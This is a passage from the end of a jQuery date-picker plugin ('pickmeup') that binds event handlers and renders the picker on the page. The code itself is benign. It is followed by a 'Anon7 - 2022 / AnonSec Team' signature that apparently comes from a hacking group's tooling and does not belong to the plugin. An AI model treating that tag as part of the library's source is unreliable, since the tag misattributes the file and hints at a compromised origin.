                        options.locale.daysMin[(cnt++) % 7],
                        options.locale.daysMin[(cnt++) % 7],
                        options.locale.daysMin[(cnt++) % 7],
                        options.locale.daysMin[(cnt++) % 7]
                    ]
                });
            }
            $this.data('pickmeup-options', options);
            for (i in options) {
                if (['render', 'change', 'before_show', 'show', 'hide'].indexOf(i) != -1) {
                    options[i] = options[i].bind(this);
                }
            }
            options.binded           = {
                fill: fill.bind(this),
                update_date: update_date.bind(this),
                click: click.bind(this),
                show: show.bind(this),
                forced_show: forced_show.bind(this),
                hide: hide.bind(this),
                update: update.bind(this),
                clear: clear.bind(this),
                prev: prev.bind(this),
                next: next.bind(this),
                get_date: get_date.bind(this),
                set_date: set_date.bind(this),
                destroy: destroy.bind(this)
            };
            options.events_namespace = '.pickmeup-' + (++instances_count);
            pickmeup
                .on('click touchstart', options.binded.click)
                .addClass(views[options.view])
                .append(html)
                .on(
                    $.support.selectstart ? 'selectstart' : 'mousedown',
                    function (e) {
                        e.preventDefault();
                    }
                );
            options.binded.fill();
            if (options.flat) {
                pickmeup.appendTo(this).css({
                    position: 'relative',
                    display: 'inline-block'
                });
            } else {
                pickmeup.appendTo(document.body);
                // Multiple events support
                var trigger_event = options.trigger_event.split(' ');
                for (i = 0; i < trigger_event.length; ++i) {
                    trigger_event[i] += options.events_namespace;
                }
                trigger_event = trigger_event.join(' ');
                $this.on(trigger_event, options.binded.show);
            }
        });
    };
})(jQuery);

Anon7 - 2022
AnonSec Team